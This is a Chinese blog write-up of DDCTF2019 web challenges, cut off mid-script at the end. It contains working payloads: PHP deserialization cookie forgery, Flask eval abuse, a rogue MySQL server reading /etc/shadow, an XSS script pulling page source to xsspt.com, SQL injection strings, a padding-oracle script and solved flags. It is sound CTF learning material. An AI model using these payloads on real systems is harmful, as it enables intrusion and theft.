kir[A]'s 小黑屋

ddctf2019-misc&web&re-writeup

字数统计: 9.4k阅读时长: 48 min
2019/06/08 Share

本文首发于先知论坛 https://xz.aliyun.com/t/4887

DDCTF2019

刚刚结束的ddctf2019,题目质量还是不错的,当然脑洞也不小,也有出题人不谨慎而导致非预期解,下面也会提及。共计23题,完成17题,Android一道没做,re、misc、web都差最后一题,待其他大神发writeup了。

WEB

滴~

访问自动跳转到 http://117.51.150.246/index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09 ,页面上显示flag.jpg
TmpZMlF6WXhOamN5UlRaQk56QTJOdz09 分析可知为base64_encode(base64_encode('flag.jpg'.encode('hex'))

文件包含泄露源码:http://117.51.150.246/index.php?jpg=TmprMlJUWTBOalUzT0RKRk56QTJPRGN3index.php源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
/*
* https://blog.csdn.net/FengBanLiuYun/article/details/80616607
* Date: July 4,2018
*/
error_reporting(E_ALL || ~E_NOTICE);

header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09');
$file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));
echo '<title>'.$_GET['jpg'].'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo $file.'</br>';
$file = str_replace("config","!", $file);
echo $file.'</br>';
$txt = base64_encode(file_get_contents($file));

echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
* Can you find the flag file?
*
*/
?>

代码除了文件包含外,并没有什么漏洞,源码上博客内容是关于shell下echo的一些特殊用法,对于php中的echo并不适用。作者另外一篇博客 vim 异常退出 swp文件提示 提到了.practice.txt.swp

访问 http://117.51.150.246/practice.txt.swp 得到新的提示f1ag!ddctf.php

文件包含f1ag!ddctf.php,根据index.php的源代码,我们需要用config替换!

http://117.51.150.246/index.php?jpg=TmpZek1UWXhOamMyTXpabU5tVTJOalk1TmpjMk5EWTBOak0zTkRZMk1tVTNNRFk0TnpBPQ==

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
include('config.php');
$k = 'hello';
extract($_GET);
if(isset($uid))
{
$content=trim(file_get_contents($k));
if($uid==$content)
{
echo $flag;
}
else
{
echo'hello';
}
}
?>

存在一个明显的变量覆盖漏洞,覆盖$k为空,同时将$uid也置为空即可。

Web签到题

打开 http://117.51.158.44/index.php 后,提示抱歉,您没有登陆权限,请获取权限后访问-----,查看一下源代码,发现有auth()

1
2
3
4
5
6
7
8
9
<script type="text/javascript" src="js/jquery.min.js"></script>
<script type="text/javascript" src="js/index.js"></script>
<script>hljs.initHighlightingOnLoad();</script>
<body onload="auth()">
<div class='center' id="auth">
</div>


</body>

此函数在http://117.51.158.44/js/index.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function auth() {
$.ajax({
type: "post",
url:"http://117.51.158.44/app/Auth.php",
contentType: "application/json;charset=utf-8",
dataType: "json",
beforeSend: function (XMLHttpRequest) {
XMLHttpRequest.setRequestHeader("didictf_username", "");
},
success: function (getdata) {
console.log(getdata);
if(getdata.data !== '') {
document.getElementById('auth').innerHTML = getdata.data;
}
},error:function(error){
console.log(error);
}
});
}

burp抓包发现http包请求确实有个didictf_username字段,修改为didictf_username: admin后成功验证,提示访问app/fL2XID2i0Cdh.php

http://117.51.158.44/app/fL2XID2i0Cdh.php 中内容如下:

url:app/Application.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45

Class Application {
var $path = '';


public function response($data, $errMsg = 'success') {
$ret = ['errMsg' => $errMsg,
'data' => $data];
$ret = json_encode($ret);
header('Content-type: application/json');
echo $ret;

}

public function auth() {
$DIDICTF_ADMIN = 'admin';
if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
$this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php');
return TRUE;
}else{
$this->response('抱歉,您没有登陆权限,请获取权限后访问-----','error');
exit();
}

}
private function sanitizepath($path) {
$path = trim($path);
$path=str_replace('../','',$path);
$path=str_replace('..\\','',$path);
return $path;
}

public function __destruct() {
if(empty($this->path)) {
exit();
}else{
$path = $this->sanitizepath($this->path);
if(strlen($path) !== 18) {
exit();
}
$this->response($data=file_get_contents($path),'Congratulations');
}
exit();
}
}

url:app/Session.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
include 'Application.php';
class Session extends Application {

//key建议为8位字符串
var $eancrykey = '';
var $cookie_expiration = 7200;
var $cookie_name = 'ddctf_id';
var $cookie_path = '';
var $cookie_domain = '';
var $cookie_secure = FALSE;
var $activity = "DiDiCTF";

public function index()
{
if(parent::auth()) {
$this->get_key();
if($this->session_read()) {
$data = 'DiDI Welcome you %s';
$data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);
parent::response($data,'sucess');
}else{
$this->session_create();
$data = 'DiDI Welcome you';
parent::response($data,'sucess');
}
}
}

private function get_key() {
//eancrykey and flag under the folder
$this->eancrykey = file_get_contents('../config/key.txt');
}

public function session_read() {
if(empty($_COOKIE)) {
return FALSE;
}

$session = $_COOKIE[$this->cookie_name];
if(!isset($session)) {
parent::response("session not found",'error');
return FALSE;
}
$hash = substr($session,strlen($session)-32);
$session = substr($session,0,strlen($session)-32);

if($hash !== md5($this->eancrykey.$session)) {
parent::response("the cookie data not match",'error');
return FALSE;
}
$session = unserialize($session);

if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){
return FALSE;
}

if(!empty($_POST["nickname"])) {
$arr = array($_POST["nickname"],$this->eancrykey);
$data = "Welcome my friend %s";
foreach ($arr as $k => $v) {
$data = sprintf($data,$v);
}
parent::response($data,"Welcome");
}

if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {
parent::response('the ip addree not match'.'error');
return FALSE;
}
if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {
parent::response('the user agent not match','error');
return FALSE;
}
return TRUE;
}

private function session_create() {
$sessionid = '';
while(strlen($sessionid) < 32) {
$sessionid .= mt_rand(0,mt_getrandmax());
}

$userdata = array(
'session_id' => md5(uniqid($sessionid,TRUE)),
'ip_address' => $_SERVER['REMOTE_ADDR'],
'user_agent' => $_SERVER['HTTP_USER_AGENT'],
'user_data' => '',
);
$cookiedata = serialize($userdata);
$cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
$expire = $this->cookie_expiration + time();
setcookie(
$this->cookie_name,
$cookiedata,
$expire,
$this->cookie_path,
$this->cookie_domain,
$this->cookie_secure
);
}
}

$ddctf = new Session();
$ddctf->index();

首先留意到class Application中有一个读取文件的地方

1
2
3
4
5
6
7
8
9
10
11
12
	public function __destruct() {
if(empty($this->path)) {
exit();
}else{
$path = $this->sanitizepath($this->path);
if(strlen($path) !== 18) {
exit();
}
$this->response($data=file_get_contents($path),'Congratulations');
}
exit();
}

路径要求18位,而../config/flag.txt刚好18位满足要求,基本可以确定flag的位置,sanitizepath会将../替换为空,可直接双写绕过过滤....//config/flag.txt

然后在class Sessionsession_read()有反序列化的代码,只要触发反序列化就能到读取文件的地方

1
2
3
4
5
6
7
8
9
10
11
12
13
$session = $_COOKIE[$this->cookie_name];
if(!isset($session)) {
parent::response("session not found",'error');
return FALSE;
}
$hash = substr($session,strlen($session)-32);
$session = substr($session,0,strlen($session)-32);

if($hash !== md5($this->eancrykey.$session)) {
parent::response("the cookie data not match",'error');
return FALSE;
}
$session = unserialize($session);

其中cookie_nameddctf_id,代码会对session内容进行校验,校验方法为最后32位的hash值,要等于md5($this->eancrykey.$session),绕过验证需要泄露$this->eancrykey的值

留意到session_read()中有一段格式化字符的代码

1
2
3
4
5
6
7
8
if(!empty($_POST["nickname"])) {
$arr = array($_POST["nickname"],$this->eancrykey);
$data = "Welcome my friend %s";
foreach ($arr as $k => $v) {
$data = sprintf($data,$v);
}
parent::response($data,"Welcome");
}

这里for循环会对$data进行两次格式化字符串操作,其中nickname我们可控,若nickname=%s,第二次格式化字符串就能把$this->eancrykey泄露出来。

至此,伪造session的信息收集完毕,可以伪造session进行文件读取,代码如下。

1
2
3
4
5
6
7
8
9
10
11
<?php
Class Application {
var $path = '....//config/flag.txt';
}

$a = new Application();
$key = 'EzblrbNS';
$cookie_name = 'ddctf_id';
$hash = md5($key.serialize($a));
echo serialize($a).$hash;
?>

将代码生成的payload URL编码后发送

1
2
3
POST /app/Session.php HTTP/1.1
didictf_username: admin
cookie: ddctf_id=O%3A11%3A%22Application%22%3A1%3A%7Bs%3A4%3A%22path%22%3Bs%3A21%3A%22....%2F%2Fconfig%2Fflag.txt%22%3B%7D77cd55a8d29df4f005f85e536d876525

发送后得到:
{"errMsg":"Congratulations","data":"DDCTF{ddctf2019_G4uqwj6E_pHVlHIDDGdV8qA2j}"}

Upload-IMG

1
2
3
4
http://117.51.148.166/upload.php

user:dd@ctf
pass:DD@ctf#000

登录后直接上传一张图片,提示未包含phpinfo()

将图片下载下来,winhex打开看了一下,发现文件头有gd-jpeg

搜索一下发现GD库图片渲染存在漏洞,https://wiki.ioin.in/soft/detail/1q

jpg_name.jpg是待GD处理的图片

1
php jpg_payload.php <jpg_name.jpg>

如提示缺少gd库,可用apt install php-gd安装

网上不少文章提到不一定每张图片都可以成功写入,需要多试几张,而我脸比较黑,试了十多张无果。

绝望之际,拿了群里大佬发的一个表情包,终于成功了,泪目。。。

homebrew event loop

http://116.85.48.107:5002/d5afe1f66147e857/

题目是一个flask站,并且提供了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
from flask import Flask, session, request, Response 
import urllib

app = Flask(__name__)
app.secret_key = '*********************' # censored
url_prefix = '/d5afe1f66147e857'

def FLAG():
return 'FLAG_is_here_but_i_wont_show_you' # censored

def trigger_event(event):
session['log'].append(event)
if len(session['log']) > 5: session['log'] = session['log'][-5:]
if type(event) == type([]):
request.event_queue += event
else:
request.event_queue.append(event)

def get_mid_str(haystack, prefix, postfix=None):
haystack = haystack[haystack.find(prefix)+len(prefix):]
if postfix is not None:
haystack = haystack[:haystack.find(postfix)]
return haystack

class RollBackException: pass

def execute_event_loop():
valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
resp = None
while len(request.event_queue) > 0:
event = request.event_queue[0] # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
request.event_queue = request.event_queue[1:]
if not event.startswith(('action:', 'func:')): continue
for c in event:
if c not in valid_event_chars: break
else:
is_action = event[0] == 'a'
action = get_mid_str(event, ':', ';')
args = get_mid_str(event, action+';').split('#')
try:
event_handler = eval(action + ('_handler' if is_action else '_function'))
ret_val = event_handler(args)
except RollBackException:
if resp is None: resp = ''
resp += 'ERROR! All transactions have been cancelled. <br />'
resp += '<a href="./?action:view;index">Go back to index.html</a><br />'
session['num_items'] = request.prev_session['num_items']
session['points'] = request.prev_session['points']
break
except Exception, e:
if resp is None: resp = ''
#resp += str(e) # only for debugging
continue
if ret_val is not None:
if resp is None: resp = ret_val
else: resp += ret_val
if resp is None or resp == '': resp = ('404 NOT FOUND', 404)
session.modified = True
return resp

@app.route(url_prefix+'/')
def entry_point():
querystring = urllib.unquote(request.query_string)
request.event_queue = []
if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100:
querystring = 'action:index;False#False'
if 'num_items' not in session:
session['num_items'] = 0
session['points'] = 3
session['log'] = []
request.prev_session = dict(session)
trigger_event(querystring)
return execute_event_loop()

# handlers/functions below --------------------------------------

def view_handler(args):
page = args[0]
html = ''
html += '[INFO] you have {} diamonds, {} points now.<br />'.format(session['num_items'], session['points'])
if page == 'index':
html += '<a href="./?action:index;True%23False">View source code</a><br />'
html += '<a href="./?action:view;shop">Go to e-shop</a><br />'
html += '<a href="./?action:view;reset">Reset</a><br />'
elif page == 'shop':
html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />'
elif page == 'reset':
del session['num_items']
html += 'Session reset.<br />'
html += '<a href="./?action:view;index">Go back to index.html</a><br />'
return html

def index_handler(args):
bool_show_source = str(args[0])
bool_download_source = str(args[1])
if bool_show_source == 'True':

source = open('eventLoop.py', 'r')
html = ''
if bool_download_source != 'True':
html += '<a href="./?action:index;True%23True">Download this .py file</a><br />'
html += '<a href="./?action:view;index">Go back to index.html</a><br />'

for line in source:
if bool_download_source != 'True':
html += line.replace('&','&amp;').replace('\t', '&nbsp;'*4).replace(' ','&nbsp;').replace('<', '&lt;').replace('>','&gt;').replace('\n', '<br />')
else:
html += line
source.close()

if bool_download_source == 'True':
headers = {}
headers['Content-Type'] = 'text/plain'
headers['Content-Disposition'] = 'attachment; filename=serve.py'
return Response(html, headers=headers)
else:
return html
else:
trigger_event('action:view;index')

def buy_handler(args):
num_items = int(args[0])
if num_items <= 0: return 'invalid number({}) of diamonds to buy<br />'.format(args[0])
session['num_items'] += num_items
trigger_event(['func:consume_point;{}'.format(num_items), 'action:view;index'])

def consume_point_function(args):
point_to_consume = int(args[0])
if session['points'] < point_to_consume: raise RollBackException()
session['points'] -= point_to_consume

def show_flag_function(args):
flag = args[0]
#return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it.
return 'You naughty boy! ;) <br />'

def get_flag_handler(args):
if session['num_items'] >= 5:
trigger_event('func:show_flag;' + FLAG()) # show_flag_function has been disabled, no worries
trigger_event('action:view;index')

if __name__ == '__main__':
app.run(debug=False, host='0.0.0.0')

网址实现各种功能,是通过解析query_string进行跳转的,具体可以查看execute_event_loop函数代码。query_string示例如下:

1
2
http://116.85.48.107:5002/d5afe1f66147e857/?action:buy;1
http://116.85.48.107:5002/d5afe1f66147e857/?action:view;shop

提取关键代码测试,可以看到更加直观,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def get_mid_str(haystack, prefix, postfix=None):
haystack = haystack[haystack.find(prefix)+len(prefix):]
if postfix is not None:
haystack = haystack[:haystack.find(postfix)]
return haystack

def ACTION_handler():pass

event = 'action:ACTION;ARGS0#ARGS1#ARGS2'
is_action = event[0] == 'a'
action = get_mid_str(event, ':', ';')
print '[!] action:',action
args = get_mid_str(event, action+';').split('#')
print '[!] args:',args
event_handler = eval(action + ('_handler' if is_action else '_function'))
print '[!] event_handler:',event_handler

运行结果:

1
2
3
[!] action: ACTION
[!] args: ['ARGS0', 'ARGS1', 'ARGS2']
[!] event_handler: <function ACTION_handler at 0x00000000035A4B38>

event_handler是用eval进行拼接,从而得到对应的处理函数,eval函数本质是将字符串str当成有效的表达式来求值并返回计算结果,程序过滤了大部分的特殊符号,导致我们不能随意进行代码注入,不过由于ARGS是使用#进行分隔,而#在python代码中是注释符,在action中加入#,可以把后面_handler注释掉。上面的代码用event = 'action:str#;ARGS0#ARGS1#ARGS2'进行测试一下:

1
2
3
[!] action: str#
[!] args: ['ARGS0', 'ARGS1', 'ARGS2']
[!] event_handler: <type 'str'>

现在,我们可以控制event_handler运行指定的函数,不过还有一个问题是FLAG()函数是不带参数的,而argslist,直接传入action:FLAG;将产生报错。

1
TypeError: FLAG() takes no arguments (1 given)

直接调用FLAG()函数的方法走不通了,由于传入参数必须是list类型,python自带的全局函数也没有可以用(如果有求告知~),那么只能考虑自带函数。自带的函数不多,不难找到trigger_event

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def trigger_event(event):
session['log'].append(event)
if len(session['log']) > 5: session['log'] = session['log'][-5:]
if type(event) == type([]):
request.event_queue += event
else:
request.event_queue.append(event)

def execute_event_loop():
valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
resp = None
while len(request.event_queue) > 0:
event = request.event_queue[0] # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
request.event_queue = request.event_queue[1:]
...

参数eventlist类型,execute_event_loop按顺序处理request.event_queue所有event,我们可以考虑构造一套组合拳来获取flag。具体构造思路如下:

  1. 程序调用FLAG()的地方只有一个,就是get_flag_handler(),对应的event1=action:get_flag;
  2. get_flag_handler()会判断session['num_items']>=5,因此需要购买5个以上的钻石,对应的event2=action:buy;5
  3. 传入query_string=action:trigger_event#;{event1}#{event2},利用#截断,运行trigger_event([event1,event2])

此外,还有两个问题需要解决一下

  1. show_flag_function()把返回的FLAG注释掉了,FLAG只会加入到show_flag_function()参数中。
  2. buy_handler()后会调用consume_point_function()检查point是否足够,不然就会回滚。

trigger_event有一句代码session['log'].append(event),会把记录各种函数的调用,那么自然会把trigger_event('func:show_flag;'+FLAG())存在放在session['log']中。留意到execute_event_loop是按先后顺序进行函数调用,因此buy_handler()后并不会马上执行consume_point_function(),如果后面紧跟是show_flag_function(),并不会受回滚影响。由于flag存放在session中,需要解密一下cookie,flask的session问题具体可以看看p神博客,客户端 session 导致的安全问题

最终payload:

1
2
3
4
http://116.85.48.107:5002/d5afe1f66147e857/?action:trigger_event%23;action:buy;7%23action:get_flag;

ERROR! All transactions have been cancelled.
Go back to index.html

获取到的cookie

1
Set-Cookie: session=.eJyNjlFLwzAAhP-K5HkPbersUujLcCkM2uCsTRoRaZo5m6VZsOvmMvrfVwQFmQ--Hdzdd3cGercB0fMZ3AgQgZJmXkVRT8zqVFFpOFu-cca1MA-KQKxkog9C2UaybZidsvcyWFkBb-84LDwGeVfSOgTD5ArXLv113gWjdeVILTFqRYINOcYxGF5-2twUfemsEnDqJPU1C-aHik494ur4D5LhlrM6HBNbzjZfpN8gVyUo-H6ZBqWXFjMnVdZLPPtM7-dHBjHh45l8gfNHH6l0gT5S-vTPMWD69rXZr9sORP4E2F1j9qOEwwXM_XDJ.D5b-8w.YcblUXhGWeGzHVT6qLNwR2zCOV4; HttpOnly; Path=/
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!/usr/bin/env python3
import sys
import zlib
from hashlib import *
from base64 import b64decode
from flask.sessions import URLSafeTimedSerializer,session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)

decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True

try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')

if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')

return session_json_serializer.loads(payload)

sessions = '.eJyNjlFLwzAAhP-K5HkPbersUujLcCkM2uCsTRoRaZo5m6VZsOvmMvrfVwQFmQ--Hdzdd3cGercB0fMZ3AgQgZJmXkVRT8zqVFFpOFu-cca1MA-KQKxkog9C2UaybZidsvcyWFkBb-84LDwGeVfSOgTD5ArXLv113gWjdeVILTFqRYINOcYxGF5-2twUfemsEnDqJPU1C-aHik494ur4D5LhlrM6HBNbzjZfpN8gVyUo-H6ZBqWXFjMnVdZLPPtM7-dHBjHh45l8gfNHH6l0gT5S-vTPMWD69rXZr9sORP4E2F1j9qOEwwXM_XDJ.D5b-8w.YcblUXhGWeGzHVT6qLNwR2zCOV4'
PAYLOAD = decryption(sessions.encode())
print PAYLOAD

查看session的解析结果,函数的调用过程更加一目了然了。

1
{u'points': 2, u'num_items': 1, u'log': ['action:trigger_event#;action:buy;7#action:get_flag;', ['action:buy;7', 'action:get_flag;'], ['func:consume_point;7', 'action:view;index'], 'func:show_flag;3v41_3v3nt_100p_aNd_fLASK_c0Ok1e', 'action:view;index']}

大吉大利,今晚吃鸡

http://117.51.147.155:5050/index.html

正常情况下,新注册用户余额只有100,门票需要2000,是不够钱买门票,不过可以利用整数溢出

32位系统unsigned int范围为0~4294967295,最大数+1后会回绕变成0,修改订单ticket_price=4294967296

1
GET /ctf/api/buy_ticket?ticket_price=4294967296

后面拿到源码证实了猜想,对于大于32位的数字,程序进行了截断,导致了整数溢出。

1
2
3
4
5
6
7
8
9
10
11
def num64_to_32(num):
str_num = bin(num)
if len(str_num) > 66:
return False
if 34 < len(str_num) < 66:
str_64 = str_num[-32:]
result = int(str_64, 2)
return result
if len(str_num) < 34:
result = int(str_num, 2)
return result

这时去点支付,可以0元购买入场券。进入http://117.51.147.155:5050/index.html#/main/result后,可以输入ID和ticket移除对手。

思路是不停注册一堆新用户,拿到ticket,加入游戏,然后让玩家移除机器人,当移除id不重复的100个时,拿到flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import requests
import uuid
import time
import json

data = []
while True:
try:
session = requests.session()
name = str(uuid.uuid4())[:10].replace('-', '')

url = base_url + "/ctf/api/register?name=%s&password=12345678" % (name)
r = session.get(url)
if r.json()['code'] != 200:
continue
print(r.json())
time.sleep(1) # 如果不sleep一下,后面可能会无法买ticket
url = base_url + '/ctf/api/buy_ticket?ticket_price=4294967296'
r = session.get(url)
bill_id = r.json()['data'][0]['bill_id']
url = base_url + '/ctf/api/pay_ticket?bill_id=%s' % bill_id
r = session.get(url)

your_id = r.json()['data'][0]['your_id']
your_ticket = r.json()['data'][0]['your_ticket']
data.append(
{
'id': your_id,
'ticket': your_ticket,
'session': session
}
)
print('%s, %s, %s' % (len(data), your_id, your_ticket))
if len(data) > 1:
url = base_url + '/ctf/api/remove_robot?id=%s&ticket=%s' % (your_id, your_ticket)
r = data[0]['session'].get(url)
print(r.json())
time.sleep(1)

url = base_url + '/ctf/api/get_flag'
r = data[0]['session'].get(url)
print(r.json())
if '大吉大利,今晚吃鸡' in r.json()['msg']:
print(r.json()['data'][0])
break

except Exception as e:
print(e)
pass

得到flag,另外本题有非预期解,详见下一题。

1
{'code': 200, 'data': ['DDCTF{chiken_dinner_hyMCX[n47Fx)}'], 'msg': '大吉大利,今晚吃鸡'}

mysql弱口令

http://117.51.147.155:5000/index.html#/scan

部署agent.py再进行扫描哦~

题目是一个mysql弱口令扫描器,输入主机IP及mysql端口可以进行扫描,扫描器会先连接agent.py起的端口8123,并且通过命令netstat -ntlp检查主机端口开放情况,会检查是否存在mysqld进程。以前遇到的sql题目,一般我们作为客户端,对服务端进行注入等恶意攻击,这题刚好相反,题目是一个扫描器(客户端),而我们提供一个服务端。

  1. mysql 读取 客户端 数据作为关键字搜索,可以找到不少文章

MySQL LOAD DATA 读取客户端任意文件

原理是在mysql客户端连接到服务端的时候可以请求客户端的本地文件,可以通过伪造 file-transfer 请求实现任意文件读取,使用文章里面提到的工具:

https://github.com/allyshka/Rogue-MySql-Server

可以修改端口,以及修改filelist为我们想读取的文件

1
2
3
filelist = (
'/etc/shadow',
)
  1. 下载并启动agent.py,由于扫描器会检查是否有mysqld进程,可以将python软链接成mysqld再启动rogue_mysql_server.py
1
2
ln -s /usr/bin/python mysqld
mysqld rogue_mysql_server.py
  1. 在扫描器中输入伪造MySQL服务的IP和端口,注意脚本都要用root权限运行,不然会出错。首先测试了一下读取/etc/passwd

  1. 开始各种读文件的找FLAG之旅

读取/proc/self/cmdline 可以看到启动命令

1
/home/dc2-user/ctf_web_2/ctf_web_2/bin/python2 /home/dc2-user/ctf_web_2/ctf_web_2/bin/gunicorn didi_ctf_web2:app -b 127.0.0.1:15000 --access-logfile /home/dc2-user/ctf_web_2/2_access.log

是flask起的web,读取/home/dc2-user/ctf_web_2/app/main/views.py,里面有提示flag在security数据库的flag表里面:

1
# flag in mysql  curl@localhost database:security  table:flag

读取mysql的数据库文件/var/lib/mysql/security/flag.ibd,flag明文存放在数据库中

1
2
3
4
5
6
# kira @ k1r4 in ~/web/ddctf [21:09:55]
$ strings flag.ibd
z[jx
infimum
supremum
DDCTF{0b5d05d80cceb4b85c8243c00b62a7cd}

番外篇:读取一下/home/dc2-user/.bash_history,发现了有趣的东西,这个服务器还有ctf_web_1

1
mv ctf.zip  /home/dc2-user/ctf_web_1/web_1

猜测存在文件/home/dc2-user/ctf_web_1/web_1/main/views.py,直接拿到了吃鸡那题的flag,这就是上面提到的非预期解。

1
2
3
4
5
6
7
8
9
10
from flask import jsonify, request,redirect
from app import mongodb
from app.unitis.tools import get_md5, num64_to_32
from app.main.db_tools import get_balance, creat_env_db, search_bill, secrity_key, get_bill_id
import uuid
from urllib import unquote

mydb = mongodb.db

flag = '''DDCTF{chiken_dinner_hyMCX[n47Fx)}'''

欢迎报名DDCTF

http://117.51.147.2/Ze02pQYLf5gGNyMn/

提示xss,尝试把html源码x回来,payload:<script src=//xsspt.com/NyU2Mx></script>,获取到admin.php的html源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<html lang="en"><head>
<meta charset="UTF-8">
<!--每隔30秒自动刷新-->
<meta http-equiv="refresh" content="30">
<title>DDCTF报名列表</title>
<script type="text/javascript" src="https://xsspt.com/js/html2canvas.js"></script></head>
<body>
<table align="center">
<thead>
<tr>
<th>姓名</th>
<th>昵称</th>
<th>备注</th>
<th>时间</th>
</tr>
</thead>
<tbody>
<!-- 列表循环展示 -->
<tr>
<td> 321 </td>
<td> 3333 </td>
<td> <script src="//xsspt.com/NyU2Mx"></script> </td>
<td> 2019-04-17 02:02:46 </td>

</tr>
<tr>
<td>
<a target="_blank" href="index.php">报名</a>
</td>
</tr>
<!-- <a target="_blank" href="query_aIeMu0FUoVrW0NWPHbN6z4xh.php"> 接口 </a>-->
</tbody>
</table>


</body></html>

访问http://117.51.147.2/Ze02pQYLf5gGNyMn/query_aIeMu0FUoVrW0NWPHbN6z4xh.php提示需要参数id,添加参数后没有回显。

下午各种测试无回显,晚上进行测试发现是,简单测试一下

然后开始手工注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
id=-1%bf%27+union+select+1,2,3,4,group_concat(schema_name)+from+information_schema.schemata%23

information_schema,ctfdb,say

###########################
id=-1%bf%27+union+select+1,2,3,4,group_concat(table_name)+from+information_schema.tables+where+table_schema=concat(char(99),char(116),char(102),char(100),char(98))%23

ctf_fhmHRPL5

###########################
id=-1%bf%27+union+select+1,2,3,4,group_concat(column_name)+from+information_schema.columns+where+table_name=concat(char(99),char(116),char(102),char(95),char(102),char(104),char(109),char(72),char(82),char(80),char(76),char(53))%23

ctf_value

##########################
id=-1%bf%27+union+select+1,2,3,4,ctf_value+from+ctfdb.ctf_fhmHRPL5%23

DDCTF{GqFzOt8PcoksRg66fEe4xVBQZwp3jWJS}

当然用sqlmap也是可以的,命令如下:

1
python sqlmap.py -u "http://117.51.147.2/Ze02pQYLf5gGNyMn/query_aIeMu0FUoVrW0NWPHbN6z4xh.php?id=1" --tamper unmagicquotes --dbms Mysql --dbs --hex

再来1杯Java

绑定Host访问:

116.85.48.104 c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com

提示1:JRMP

http://c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com:5023/

进入网站提示:Try to become an administrator.,留意到cookie中有token字段,在 http://c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com:5023/api/account_info 中可以查询到解密结果为{"id":100,"roleAdmin":false},那么思路就是CBC字节反转,伪造token为{"id":100,"roleAdmin":true},脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import requests

def sxor(a,b):
return ''.join([chr(ord(x)^ord(y)) for x,y in zip(a,b)])

def pad(string,N):
l=len(string)
if l!=N:
return string+chr(N-l)*(N-l)

def get_api(ciphertext):
req_header={'X-Forwarded-For': '113.71.226.6',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36 Edge/15.15063',
'Host':'c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com:5023',
'Referer':'http://c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com:5023/home',
'Cookie':'token={}'.format(ciphertext.encode('base64')[:-1]),
}
s = requests.session()
rsp=s.get('http://c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com:5023/api/gen_token', headers=req_header,timeout=2,verify=False,stream=True,allow_redirects=False)
return(rsp.content)

def padding_oracle(cipher, N):
get = ""
for i in xrange(1, N + 1):
for j in xrange(0, 256):
padding = sxor(get, chr(i) * (i - 1))
c = chr(0) * (N - i) + chr(j) + padding + cipher
payload='PadOracle:iv/cbc' + c
get_api_return=get_api(payload)
